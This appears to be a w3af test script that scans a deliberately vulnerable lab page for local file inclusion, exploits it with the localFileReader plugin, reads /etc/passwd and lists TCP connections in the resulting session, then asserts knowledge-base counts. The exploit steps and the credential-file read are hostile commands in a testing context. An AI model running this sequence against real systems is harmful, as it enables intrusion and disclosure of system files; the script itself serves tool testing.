# This is the local file inclusion demo:

plugins
audit osCommanding, localFileInclude
discovery webSpider
discovery config webSpider
set onlyForward True
back
grep pathDisclosure

output console,textFile
output config textFile
set fileName output-w3af.txt
set verbose True
back
back

target
set target http://moth/w3af/audit/local_file_inclusion/trivial_lfi.php?file=index.html
back

start

exploit
exploit localFileReader

interact 0

read /etc/passwd
payload tcp

list

exit
back

assert len(kb.kb.getData('localFileInclude','localFileInclude')) == 3
assert len(kb.kb.getData('localFileReader','shell')) == 1
assert len(kb.kb.getData('pathDisclosure','listFiles')) > 2

exit
